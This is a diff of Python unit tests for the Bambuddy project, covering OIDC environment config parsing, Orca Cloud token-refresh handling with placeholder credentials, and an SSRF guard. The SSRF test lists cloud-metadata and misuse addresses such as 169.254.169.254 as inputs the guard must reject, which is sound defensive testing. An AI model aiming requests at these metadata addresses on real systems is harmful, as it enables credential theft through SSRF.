+    assert cfg["icon_url"] == "https://sso.example.com/logo.png"
+
+
+@pytest.mark.parametrize("raw", ["", "   "])
+def test_a_blank_scopes_is_unset(monkeypatch, raw):
+    """`BAMBUDDY_OIDC_SCOPES=` in a compose file is a forgotten value, not a
+    request for a provider with no scopes -- same rule as default_group."""
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_SCOPES", raw)
+    assert read_env_oidc_config()["scopes"] == "openid email profile"
+
+
+@pytest.mark.parametrize("raw", ["", "   "])
+def test_a_blank_email_claim_is_unset(monkeypatch, raw):
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_EMAIL_CLAIM", raw)
+    assert read_env_oidc_config()["email_claim"] == "email"
+
+
+@pytest.mark.parametrize("raw", ["", "   "])
+def test_a_blank_icon_url_is_unset(monkeypatch, raw):
+    """Uncommenting `# BAMBUDDY_OIDC_ICON_URL=` in .env.example must not take
+    the provider down -- the reader must still return a config, not refuse it."""
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_ICON_URL", raw)
+    cfg = read_env_oidc_config()
+    assert cfg is not None, "a blank optional var must not refuse the whole provider"
+    assert cfg["icon_url"] is None
+
+
+def test_the_default_group_is_read_as_a_name(monkeypatch):
+    """A name, not an id: group ids differ per install, so an id in a compose
+    file would point at whatever group happened to be created third."""
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_DEFAULT_GROUP", "Operators")
+    cfg = read_env_oidc_config()
+    assert cfg["default_group"] == "Operators"
+    assert "default_group_id" not in cfg, "resolution needs the database, not the reader"
+
+
+@pytest.mark.parametrize("raw", ["", "   "])
+def test_a_blank_default_group_is_unset(monkeypatch, raw):
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_DEFAULT_GROUP", raw)
+    assert read_env_oidc_config()["default_group"] is None
+
+
+def test_every_var_the_reader_knows_is_registered_in_the_typo_guard():
+    """An unregistered BAMBUDDY_* var logs "possible typo" at every boot, which
+    would tell operators their correct config is wrong. Asserted against the
+    reader's own vars rather than a copied list, so a var added later is caught
+    here instead of in someone's logs."""
+    from backend.app.core.config import _INTENTIONAL_UNSETTINGS
+
+    unregistered = {v for v in (*REQUIRED, *OPTIONAL) if v not in _INTENTIONAL_UNSETTINGS}
+    assert not unregistered

+ 125 - 0
backend/tests/unit/test_orca_cloud_refresh.py

@@ -0,0 +1,125 @@
+"""What a rejected Orca Cloud refresh is allowed to do to stored credentials.
+
+The refresh token is single-use and rotating, and Orca reports every rejection
+with one composite reason (``unknown, expired, revoked, or already used``), so
+Bambuddy cannot tell a genuine revocation from a lost rotation race. Routes may
+still clear on that signal — a person is looking at the page and can pair again
+— but a background job must not, or an unattended run can destroy a working
+pairing (#2717).
+"""
+
+from unittest.mock import AsyncMock, MagicMock, patch
+
+import pytest
+from fastapi import HTTPException
+from sqlalchemy import select
+
+from backend.app.api.routes.orca_cloud import _SETTINGS_KEYS, _build_authenticated_service
+from backend.app.models.settings import Settings
+from backend.app.services.orca_cloud import OrcaCloudAuthError, OrcaCloudError
+
+
+async def _store_global_credentials(db):
+    """An auth-disabled install's Orca credentials, expired so the helper
+    refreshes rather than returning straight away."""
+    db.add_all(
+        [
+            Settings(key=_SETTINGS_KEYS["token"], value="oc_ext_old"),
+            Settings(key=_SETTINGS_KEYS["refresh_token"], value="oc_ext_rt_old"),
+            Settings(key=_SETTINGS_KEYS["expires_at"], value="2000-01-01T00:00:00+00:00"),
+            Settings(key=_SETTINGS_KEYS["email"], value="a@b.c"),
+        ]
+    )
+    await db.commit()
+
+
+async def _stored_keys(db) -> set[str]:
+    result = await db.execute(select(Settings).where(Settings.key.in_(list(_SETTINGS_KEYS.values()))))
+    return {s.key for s in result.scalars().all()}
+
+
+def _expired_service(refresh_side_effect=None):
+    """A service that reports its access token as expired, so the helper takes
+    the refresh branch."""
+    svc = MagicMock()
+    svc.is_authenticated = False
+    svc.refresh_token = "oc_ext_rt_old"
+    svc.set_tokens = MagicMock()
+    svc.refresh = AsyncMock(side_effect=refresh_side_effect)
+    svc.access_token = "oc_ext_new"
+    svc.token_expiry = None
+    return svc
+
+
+class TestRejectedRefresh:
+    @pytest.mark.asyncio
+    async def test_routes_clear_the_dead_pairing_by_default(self, db_session):
+        """Unchanged behaviour for interactive callers: the page flips to
+        disconnected while the user is there to pair again."""
+        await _store_global_credentials(db_session)
+        svc = _expired_service(OrcaCloudAuthError("grant already used"))
+
+        with (
+            patch("backend.app.api.routes.orca_cloud.OrcaCloudService", return_value=svc),
+            pytest.raises(HTTPException) as exc,
+        ):
+            await _build_authenticated_service(db_session, None)
+
+        assert exc.value.status_code == 401
+        assert await _stored_keys(db_session) == set()
+
+    @pytest.mark.asyncio
+    async def test_background_callers_leave_the_credentials_alone(self, db_session):
+        """The whole point of the flag. A scheduled backup that guesses wrong
+        here destroys a pairing nobody asked it to touch, and the user finds
+        out when their profiles stop being backed up."""
+        await _store_global_credentials(db_session)
+        svc = _expired_service(OrcaCloudAuthError("grant already used"))
+
+        with (
+            patch("backend.app.api.routes.orca_cloud.OrcaCloudService", return_value=svc),
+            pytest.raises(HTTPException) as exc,
+        ):
+            await _build_authenticated_service(db_session, None, clear_on_auth_failure=False)
+
+        # Still reported as a hard auth failure — the caller has to skip the
+        # account — but nothing was destroyed on the way out.
+        assert exc.value.status_code == 401
+        assert _SETTINGS_KEYS["token"] in await _stored_keys(db_session)
+        assert _SETTINGS_KEYS["refresh_token"] in await _stored_keys(db_session)
+
+    @pytest.mark.asyncio
+    async def test_an_unreachable_orca_never_clears_either_way(self, db_session):
+        """A transport failure says nothing about the credentials' validity."""
+        await _store_global_credentials(db_session)
+        svc = _expired_service(OrcaCloudError("connection reset"))
+
+        with (
+            patch("backend.app.api.routes.orca_cloud.OrcaCloudService", return_value=svc),
+            pytest.raises(HTTPException) as exc,
+        ):
+            await _build_authenticated_service(db_session, None)
+
+        assert exc.value.status_code == 502
+        assert _SETTINGS_KEYS["token"] in await _stored_keys(db_session)
+
+
+class TestSuccessfulRefresh:
+    @pytest.mark.asyncio
+    async def test_the_rotated_pair_is_persisted_even_for_background_callers(self, db_session):
+        """Not optional: by the time the refresh succeeds the old token is
+        consumed, so failing to store the new pair would break a live pairing
+        for real. The flag suppresses destruction, never persistence.
+        """
+        await _store_global_credentials(db_session)
+        svc = _expired_service()
+        svc.refresh_token = "oc_ext_rt_new"
+
+        with patch("backend.app.api.routes.orca_cloud.OrcaCloudService", return_value=svc):
+            returned = await _build_authenticated_service(db_session, None, clear_on_auth_failure=False)
+
+        assert returned is svc
+        result = await db_session.execute(select(Settings).where(Settings.key == _SETTINGS_KEYS["token"]))
+        assert result.scalar_one().value == "oc_ext_new"
+        result = await db_session.execute(select(Settings).where(Settings.key == _SETTINGS_KEYS["refresh_token"]))
+        assert result.scalar_one().value == "oc_ext_rt_new"

+ 10 - 1
backend/tests/unit/test_outbound_url_ssrf_guards.py

@@ -436,7 +436,16 @@ def test_ha_guard_keeps_ipv6_literals_bracketed():
     assert HomeAssistantService._validate_url("http://[fd00::1]:8123/api") == "http://[fd00::1]:8123/api"
     assert HomeAssistantService._validate_url("http://[fd00::1]:8123/api") == "http://[fd00::1]:8123/api"
 
 
 
 
-@pytest.mark.parametrize("ip", ["169.254.169.254", "100.100.100.200", "fd00:ec2::254", "0.0.0.0", "239.255.255.250"])
+@pytest.mark.parametrize(
+    "ip",
+    [
+        "169.254.169.254",
+        "100.100.100.200",
+        "fd00:ec2::254",
+        "0.0.0.0",  # nosec B104 — rejection fixture, not a bind address: the assertion below is that the guard refuses it
+        "239.255.255.250",
+    ],
+)
 def test_tasmota_guard_rejects_metadata_and_misuse_addresses(ip: str):
 def test_tasmota_guard_rejects_metadata_and_misuse_addresses(ip: str):
     """Tasmota keeps its own stricter rule (bare IP literals only, loopback
     """Tasmota keeps its own stricter rule (bare IP literals only, loopback
     rejected — a plug is always a separate LAN device), but must not miss the
     rejected — a plug is always a separate LAN device), but must not miss the

Некоторые файлы не были показаны из-за большого количества измененных файлов